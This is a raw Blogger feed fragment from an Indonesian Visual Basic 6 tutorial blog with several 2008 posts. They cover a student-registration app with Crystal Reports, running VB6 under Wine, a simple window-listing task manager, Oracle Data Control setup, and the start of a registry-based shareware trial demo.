Or (rscalon(8) &lt;&gt; "C" And rscalon(7) &gt;= 43) Then&lt;br /&gt;            rslaporan.AddNew&lt;br /&gt;            rslaporan(0) = Tahun&lt;br /&gt;            rslaporan(1) = rscalon(0)&lt;br /&gt;            rslaporan(2) = rscalon(1)&lt;br /&gt;            rslaporan(3) = rscalon(3)&lt;br /&gt;            rslaporan(4) = rscalon(7)&lt;br /&gt;             rslaporan.Update&lt;br /&gt;    End If&lt;br /&gt;    rscalon.MoveNext&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;dblaporan.Close&lt;br /&gt;lap.ReportFileName = App.Path &amp;amp; "\lap2.rpt"&lt;br /&gt;lap.DataFiles(0) = App.Path &amp;amp; "\laporan.mdb"&lt;br /&gt;lap.WindowState = crptMaximized&lt;br /&gt;lap.WindowTitle = "Laporan Daftar Calon Siswa Yang Diterima"&lt;br /&gt;lap.Action = 28&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Set dbcalon = OpenDatabase(App.Path &amp;amp; "\siswa baru.mdb")&lt;br /&gt;Set rscalon = dbcalon.OpenRecordset("calon")&lt;br /&gt;Set dbrayon = OpenDatabase(App.Path &amp;amp; "\siswa baru.mdb")&lt;br /&gt;Set rsrayon = dbcalon.OpenRecordset("rayon")&lt;br /&gt;rscalon.Index = "cari1"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;'form laporan siswa baru&lt;br /&gt;Public dbsiswa As Database&lt;br /&gt;Public rssiswa As Recordset&lt;br /&gt;Public dblaporan As Database&lt;br /&gt;Public rslaporan As Recordset&lt;br /&gt;&lt;br /&gt;Private Sub HapusTabel()&lt;br /&gt;If rslaporan.RecordCount &lt;&gt; 0 Then&lt;br /&gt;Do While Not rslaporan.EOF&lt;br /&gt;    rslaporan.Delete&lt;br /&gt;    rslaporan.MoveNext&lt;br /&gt;Loop&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub cmdBatal_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdProses_Click()&lt;br /&gt;Set dblaporan = OpenDatabase(App.Path &amp;amp; "\laporan.mdb")&lt;br /&gt;Set rslaporan = dblaporan.OpenRecordset("lap3")&lt;br /&gt;HapusTabel&lt;br /&gt; rssiswa.MoveFirst&lt;br /&gt;    Do While Not rssiswa.EOF&lt;br /&gt;           rslaporan.AddNew&lt;br /&gt;            rslaporan(0) = Tahun&lt;br /&gt;            rslaporan(1) = rssiswa(0)&lt;br /&gt;            rslaporan(2) = rssiswa(1)&lt;br /&gt;            rslaporan(3) = rssiswa(4)&lt;br /&gt;            rslaporan(4) = rssiswa(5)&lt;br /&gt;            rslaporan(5) = rssiswa(3)&lt;br /&gt;            rslaporan(6) = rssiswa(2)&lt;br /&gt;            rslaporan(7) = rssiswa(6)&lt;br /&gt;        rslaporan.Update&lt;br /&gt;    rssiswa.MoveNext&lt;br /&gt;Loop&lt;br /&gt;  &lt;br /&gt;dblaporan.Close&lt;br /&gt;lap.ReportFileName = App.Path &amp;amp; "\lap4.rpt"&lt;br /&gt;lap.DataFiles(0) = App.Path &amp;amp; "\laporan.mdb"&lt;br /&gt;lap.WindowState = crptMaximized&lt;br /&gt;lap.WindowTitle = "Laporan Daftar siswa Siswa"&lt;br /&gt;lap.Action = 28&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Set dbsiswa = OpenDatabase(App.Path &amp;amp; "\siswa baru.mdb")&lt;br /&gt;Set rssiswa = dbsiswa.OpenRecordset("siswa")&lt;br /&gt;'rssiswa.Index = "cari1"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk format laporan penulis menggunakan cristal report jadi silakan vbthok mania menginstall dulu program cristal report.Mohon maaf jika disini saya tidak menyediakan program cristal reportnya karena takut dituntut karena menyebarkan tanpa persetujuan..hehehe...&lt;br /&gt;Untuk desain silakan dikembangakan sendiri karena disini penulis hanya membantu semoga vbthok mania jadi lebih kreatif. berikut source code lengkapnya yang bisa anda download &lt;a href="http://www.ziddu.com/download/2959193/daftarsiswabaru.zip.html"&gt;disini&lt;/a&gt;&lt;br /&gt;Terimakasih&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-1051668341428460407?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/1051668341428460407/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=1051668341428460407' title='8 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1051668341428460407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/1051668341428460407'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/membuat-aplikasi-pendaftaran-siswa-baru.html' title='Membuat aplikasi pendaftaran siswa baru'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eGS0YABgxQo/SUpNT-ntT5I/AAAAAAAAAEI/7baZpz9_T3E/s72-c/siswa.bmp' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-2893971242200987521</id><published>2008-12-15T20:50:00.004+07:00</published><updated>2008-12-15T21:21:05.094+07:00</updated><title type='text'>Menjalankan Visual Basic di LINUX</title><content type='html'>&lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;Bagaimana untuk menjalankan program visual basic di linux?? untuk memulainya kalian harus menginstall Wine di sypnatic setelah terinstall baru kemudian masuk ke setting wine dengan masuk ke wine configuration kemudian ikuti langkah berikut &lt;/span&gt; &lt;p&gt; 1. &lt;span style="" onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt;Salin riched20.dll, riched32.dll, urlmon.dll, oleaut32.dll, dan hhctrl.ocx dari direktori system32 di windows xp kemudian paste di direktori wine system32 yang ada di linux tersebut.&lt;/span&gt; &lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt; 2. &lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt;Dalam dialog konfigurasi wine, di bawah tab libraries, setting files yang ada di menu native  dengan meng-Add file berikut :&lt;/span&gt; &lt;/p&gt;&lt;p&gt;&lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt;hhctrl.ocx &lt;/span&gt; &lt;/p&gt;&lt;p&gt; oleaut32 &lt;/p&gt;&lt;p&gt; riched20 &lt;/p&gt;&lt;p&gt; riched32 &lt;/p&gt;&lt;p&gt; urlmon &lt;/p&gt;&lt;p&gt;&lt;span style="" onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt;Dan ini untuk menetapkan builtin:&lt;/span&gt; &lt;/p&gt;&lt;p&gt; ole32 &lt;/p&gt;&lt;p&gt; rpcrt4 &lt;/p&gt;&lt;p&gt; 3. &lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;Setting Windows emulation menjadi Windows ME&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;&lt;p&gt; 4. &lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;Run the installer normally, ignoring the OLE and Java error messages.&lt;/span&gt; Jalankan installer seperti biasa, abaikan OLE Java dan pesan kesalahan.&lt;/span&gt;&lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt; Jika diinginkan, MSDN libraries juga dapat diinstal.&lt;/span&gt; &lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;Setelah instalasi, setting windows emulation kembali dari windows ME ke Windows XP.&lt;/span&gt; &lt;/p&gt;&lt;p&gt; 5. &lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt;Buka terminal dan browse ke direktori wine system32 &lt;/span&gt;&lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;)&lt;/span&gt; kemudian Jalankan perintah berikut dalam consol linux : wine regsvr32 comcat.dll (ini akan memperbaiki VB6 OLE subsistem)&lt;/span&gt; &lt;/p&gt;&lt;p&gt; 6. &lt;span style="" onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="" onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="" onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;/span&gt;Setelah komponen sudah dimasukkan dan MSDN libraries telah terinstal. Proses Instalasi bisa dilaksanakan dengan masuk ke console kemudian ketik wine &lt;span style="" onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;/span&gt;setup.exe dimana program visual basic berada.&lt;br /&gt;&lt;/p&gt;&lt;p&gt; &lt;span onmouseover="_tipon(this)" onmouseout="_tipoff()"&gt;&lt;span class="google-src-text" style="direction: ltr; text-align: left;"&gt;Selamat mencoba semoga berhasil...&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-2893971242200987521?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/2893971242200987521/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=2893971242200987521' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2893971242200987521'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2893971242200987521'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/menjalankan-visual-basic-di-linux.html' title='Menjalankan Visual Basic di LINUX'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5642285171924886933</id><published>2008-12-12T18:44:00.003+07:00</published><updated>2008-12-12T19:13:59.642+07:00</updated><title type='text'>Membuat Task manager sendiri</title><content type='html'>&lt;em&gt;Task Manager&lt;/em&gt; merupakan tool kecil pemantau kinerja Windows. Berbagai aplikasi yang berjalan bisa dilihat dari tool ini. Apabila ada program yang error kita bisa menghentikan program tersebut secara manual lewat task manager dengan menekan tombol end task.Tapi apa jadinya jika pada saat kita coba menjalankan dengan task manager muncul pesan "&lt;span style="font-style: italic;"&gt;Task manager has been disable by administrator" &lt;/span&gt;pasti repot kan??&lt;br /&gt;Nah kali ini penulis mencoba membuat task manager sendiri,hehehe..bisa untuk mengakali ketika diwarnet lohh...upss...jadi ngajarin yang gak bener neh..sowry2 kita berbuat yang halal aja ya?&lt;br /&gt;Berikut ini bentuk form nya&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SUJR88BBXOI/AAAAAAAAADA/Sp40UtjEp78/s1600-h/task.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 283px; height: 320px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SUJR88BBXOI/AAAAAAAAADA/Sp40UtjEp78/s320/task.bmp" alt="" id="BLOGGER_PHOTO_ID_5278871820576054498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;berikut script kodenya :&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;&lt;br /&gt;Dim hWndTGT     As Long&lt;br /&gt;&lt;br /&gt;Private Sub cmdEndTsk_Click()&lt;br /&gt;  If hWndTGT = 0 Then Exit Sub&lt;br /&gt; &lt;br /&gt;    'Kirim pesan close pada handle window yang dipilih&lt;br /&gt;    SendMessage hWndTGT, &amp;amp;H112, &amp;amp;HF060, 0&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdRefresh_Click()&lt;br /&gt;  Dim hWndx         As Long&lt;br /&gt;  Dim lpStr         As String * 255&lt;br /&gt;  Dim cnt           As Integer&lt;br /&gt;  Dim lpClassName   As String * 255&lt;br /&gt; &lt;br /&gt;  'bersihkan isi List1&lt;br /&gt;  List1.Clear&lt;br /&gt; &lt;br /&gt;  'cari nilai Handle Window Desktop&lt;br /&gt;  hWndx = FindWindowEx(0, 0, vbNullString, vbNullString)&lt;br /&gt;  Do&lt;br /&gt;    'dapatkan text dari nilai handle window&lt;br /&gt;    GetWindowText hWndx&amp;amp;, lpStr, 255&lt;br /&gt;   &lt;br /&gt;    'dapatkan nama Class dari nilai handle window&lt;br /&gt;    GetClassName hWndx&amp;amp;, lpClassName$, 255&lt;br /&gt;             &lt;br /&gt;    If chk1.Value And chk2.Value Then&lt;br /&gt;         GoTo IsiData&lt;br /&gt;    ElseIf chk1.Value Then&lt;br /&gt;        If IsWindowVisible(hWndx) Then&lt;br /&gt;           GoTo IsiData&lt;br /&gt;        End If&lt;br /&gt;    ElseIf chk2.Value Then&lt;br /&gt;        If Not IsWindowVisible(hWndx) Then&lt;br /&gt;           GoTo IsiData&lt;br /&gt;        End If&lt;br /&gt;    End If&lt;br /&gt;   &lt;br /&gt;Ulangi:&lt;br /&gt;    'cari nilai handle selanjutnya&lt;br /&gt;    hWndx = FindWindowEx(0, hWndx, vbNullString, vbNullString)&lt;br /&gt;       DoEvents&lt;br /&gt;  Loop While hWndx &gt; 0  'lakukan perulangan hingga tidak ditemukan lagi&lt;br /&gt;                        'window&lt;br /&gt;Exit Sub&lt;br /&gt;IsiData:&lt;br /&gt;      'catat jumlah data yang telah ada pada listBox&lt;br /&gt;      cnt = List1.ListCount&lt;br /&gt;      'isi ke list berupa nama window dan nama class nya&lt;br /&gt;      List1.AddItem Left$(lpStr, lstrlen(lpStr)) + "  (" + _&lt;br /&gt;                    Left$(lpClassName, lstrlen(lpClassName)) + ")"&lt;br /&gt;      'isikan nilai hWndx pada itemData&lt;br /&gt;      List1.ItemData(cnt) = hWndx&lt;br /&gt;GoTo Ulangi&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdToggle_Click()&lt;br /&gt;  'Bila window tampak maka&lt;br /&gt;  If IsWindowVisible(hWndTGT) Then&lt;br /&gt;     'Sembunyikan&lt;br /&gt;     ShowWindow hWndTGT, SW_HIDE&lt;br /&gt;  Else 'bila tersembunyi maka&lt;br /&gt;     'Tampilkan&lt;br /&gt;     ShowWindow hWndTGT, SW_SHOW&lt;br /&gt;  End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub List1_Click()&lt;br /&gt;  'isikan hWndTGT dari nilai handle Window yang dipilih pada ListBox&lt;br /&gt;  hWndTGT = List1.ItemData(List1.ListIndex)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Untuk modulenya penulis lampirkan bersama file yang bisa didownload &lt;a href="http://www.ziddu.com/download/2908536/taskmanager.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5642285171924886933?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5642285171924886933/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5642285171924886933' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5642285171924886933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5642285171924886933'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/membuat-task-manager-sendiri.html' title='Membuat Task manager sendiri'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eGS0YABgxQo/SUJR88BBXOI/AAAAAAAAADA/Sp40UtjEp78/s72-c/task.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8831733955669226083</id><published>2008-12-11T21:15:00.002+07:00</published><updated>2008-12-11T21:18:22.119+07:00</updated><title type='text'>Oracle Data Control with Visual Basic</title><content type='html'>&lt;span style="font-family:Helv;font-size:85%;"&gt;The Oracle Data Control, used with Visual Basic 6, makes creating a dynaset easier, because it does not require you to create the underlying objects.  &lt;/span&gt;   &lt;span style="font-family:Helv;font-size:85%;"&gt;You must set the Connect, DatabaseName, and RecordSource properties. &lt;/span&gt;   &lt;span style="font-family:Helv;font-size:85%;"&gt;The &lt;i&gt;Oracle Data Control&lt;/i&gt; when refreshed, automatically creates a client (if needed), session, database, and dynaset.  &lt;/span&gt;   &lt;span style="font-family:Helv;font-size:85%;"&gt;This section shows two ways to set the properties of the O&lt;i&gt;racle Data Control&lt;/i&gt; to create a dynaset:  &lt;/span&gt;   &lt;span style="font-family:Helv;font-size:85%;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span class="Symbol"&gt;·&lt;/span&gt;&lt;/span&gt; by using the Visual Basic Properties window  &lt;/span&gt; &lt;span style="font-family:Helv;font-size:85%;"&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span class="Symbol"&gt;·&lt;/span&gt;&lt;/span&gt; by programming the properties &lt;/span&gt;   &lt;span style="font-family:Helv;font-size:85%;"&gt;&lt;b&gt;Setting Oracle Data Control Properties with the Properties Window &lt;/b&gt;&lt;/span&gt;   &lt;ol&gt;&lt;span style="font-family:Helv;font-size:85%;"&gt;&lt;li&gt;  Start Visual Basic and create a new project.    &lt;/li&gt;&lt;li&gt;    Use the Components option of the Project menu to add "Oracle Data Control" to the project.      &lt;/li&gt;&lt;/span&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;img src="http://download.oracle.com/docs/html/B10952_01/o4o00004.gif" alt="Text description of the illustration o4o00004.gif follows" width="455" border="0" height="404" /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/ol&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;The &lt;i&gt;Oracle Data Control&lt;/i&gt; will be added to your Visual Basic tool palette and will look like this: &lt;/span&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://download.oracle.com/docs/html/B10952_01/img_text/o4o00004.htm"&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;img src="http://download.oracle.com/docs/html/B10952_01/oradc.gif" alt="Text description of the illustration oradc.gif follows" width="61" border="0" height="61" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;a href="http://download.oracle.com/docs/html/B10952_01/img_text/oradc.htm"&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Helv;font-size:85%;"&gt;3. To add the Oracle Data Control to a project, simply drag and drop the control onto a form. Resize and position the control.    4. Change the name of the control to &lt;i&gt;ORADataControl&lt;/i&gt;. Set up the Connect, DatabaseName, and RecordSource properties as follows to access the Oracle database. &lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;img src="http://download.oracle.com/docs/html/B10952_01/dcprops.gif" alt="Text Description of dcprops.gif follows" width="277" border="0" height="390" /&gt;&lt;br /&gt;&lt;a href="http://download.oracle.com/docs/html/B10952_01/img_text/dcprops.htm"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Helv;font-size:85%;"&gt;5. When the Oracle Data Control is set up, you can drag and drop a Visual Basic control onto the same form and access the data in the control. Simply set the Data properties to access the data field and source that you want. This figure shows a TextBox control which sets up display of the employee numbers.&lt;br /&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;img src="http://download.oracle.com/docs/html/B10952_01/boxprops.gif" alt="Text Description of boxprops.gif follows" width="277" border="0" height="275" /&gt;&lt;br /&gt;&lt;a href="http://download.oracle.com/docs/html/B10952_01/img_text/boxprops.htm"&gt;&lt;br /&gt;&lt;/a&gt; &lt;/span&gt;&lt;span style="font-family:Helv;font-size:85%;"&gt;6. When the project is run, the data identified by the RecordSource property is displayed using the Oracle Data Control. &lt;/span&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://download.oracle.com/docs/html/B10952_01/img_text/runform.htm"&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;img src="http://download.oracle.com/docs/html/B10952_01/runform.gif" alt="Text description of the illustration runform.gif follows" width="300" border="0" height="245" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;&lt;a href="http://download.oracle.com/docs/html/B10952_01/img_text/runform.htm"&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Helv;font-size:85%;"&gt;You can also use the Microsoft FlexGrid Control to display all the data in the table. You need to add the grid control with the Components option of the Project menu. &lt;/span&gt;   &lt;span style="font-family:Helv;font-size:85%;"&gt;&lt;b&gt;Setting Oracle Data Control Properties Programmatically    &lt;/b&gt;The following code fragment demonstrates how to programmatically set the properties of the &lt;i&gt;Oracle Data Control&lt;/i&gt; required to create a dynaset. These are the same properties that you can set with the Properties window of Visual Basic. &lt;/span&gt;   &lt;ol&gt;&lt;span style="font-family:Helv;font-size:85%;"&gt;&lt;li&gt; Create a new project and then use the Components option of the Project menu to add "Oracle Data Control" to the project.     &lt;/li&gt;&lt;li&gt; Drag and drop an Oracle Data Control on a form. Change the name of the control to 'ORADataControl'.    &lt;/li&gt;&lt;li&gt; After you have inserted an Oracle Data Control onto a form, add the following code to the Load procedure associated with the form.  &lt;/li&gt;&lt;/span&gt;&lt;/ol&gt;&lt;span style="font-family:Courier New;font-size:85%;"&gt;...  'Set the username and password.   ORADataControl.Connect = "scott/tiger"     'Set the database name.   ORADataControl.DatabaseName = "ExampleDb"     'Set the record source.   ORADataControl.RecordSource = "select * from emp"     'Refresh the data control.&lt;br /&gt;ORADataControl.Refresh  ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:Arial;font-size:85%;"&gt;You now have a valid client, session, database, and dynaset which can be referenced as follows.     &lt;b&gt;object  reference  &lt;/b&gt;client  oradatacontrol.database.session.client  session   oracontrol.database.session  database  oradatacontrol.database   dynaset   oradatacontrol.recordset    &lt;/span&gt;&lt;span style="font-family:Helv;font-size:85%;"&gt;&lt;br /&gt;     4.  You can access the data in the RecordSource using Visual Basic controls, such as a TextBox as shown in the previous example. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8831733955669226083?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8831733955669226083/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8831733955669226083' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8831733955669226083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8831733955669226083'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/oracle-data-control-with-visual-basic.html' title='Oracle Data Control with Visual Basic'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3350015689417960063</id><published>2008-12-11T16:39:00.004+07:00</published><updated>2008-12-11T17:54:55.565+07:00</updated><title type='text'>Program Expired atau Shareware</title><content type='html'>Kali ini penulis akan mencoba membuat program expired/shareware yang berfungsi untuk menonaktifkan program sesuai dengan masa waktu yang sudah kita tentukan, ini adalah sebuah contoh demo yang bisa kalian kembangkan sendiri sesuai ide dan kreasi kalian.&lt;br /&gt;Pemakaiannya mudah, tinggal jalankan program shareware.vbp kemudian sharetest untuk mengetes apa program tersebut sudah dibuat shareware, nah jika sudah habis masa waktunya program meminta no register dan silakan masukkan no register a1234.&lt;br /&gt;Berikut bentuk tampilan programnya&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SUDlnn0GUbI/AAAAAAAAACo/Skv7_P1Ea2o/s1600-h/share.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 235px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SUDlnn0GUbI/AAAAAAAAACo/Skv7_P1Ea2o/s320/share.bmp" alt="" id="BLOGGER_PHOTO_ID_5278471232143380914" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SUDloK0oR4I/AAAAAAAAACw/qne7QmATpoQ/s1600-h/test.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 277px; height: 205px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SUDloK0oR4I/AAAAAAAAACw/qne7QmATpoQ/s320/test.bmp" alt="" id="BLOGGER_PHOTO_ID_5278471241540847490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;script kodenya sebagai berikut :&lt;br /&gt;&lt;br /&gt;'main form shareware&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;frmshare.Show&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Dim lresult As Long&lt;br /&gt;lresult = DeleteRegKey("\Software\venky", "value")&lt;br /&gt;lresult = DeleteRegKey("\Software\venky", "days")&lt;br /&gt;lresult = DeleteRegKey("\Software\venky", "uses")&lt;br /&gt;lresult = DeleteRegKey("\Software\venky", "lock")&lt;br /&gt;lresult = DeleteRegKey("\Software", "venky")&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)&lt;br /&gt;Dim lresult             As Long&lt;br /&gt;&lt;br /&gt;' Remove the test data from the registry&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'main form shareware&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Dim lresult As Long&lt;br /&gt;Dim sKey As String&lt;br /&gt;Dim sSubkey As String&lt;br /&gt;Dim sSubkey1 As String&lt;br /&gt;Dim sKeyValue1 As String&lt;br /&gt;sKey = "\Software\venky\shareware"&lt;br /&gt;frmMain.Command2.Enabled = True&lt;br /&gt;If Option1(0).Value = True Then&lt;br /&gt;sSubkey = "days"&lt;br /&gt;If Option2(0).Value = True Then sKeyValue1 = (Date + 30)&lt;br /&gt;If Option2(1).Value = True Then sKeyValue1 = (Date + 15)&lt;br /&gt;If Option2(2).Value = True Then sKeyValue1 = (Date + 1)&lt;br /&gt;lresult = SetRegValue(sKey, sSubkey, sKeyValue1)&lt;br /&gt;lresult = SetRegValue(sKey, "value", 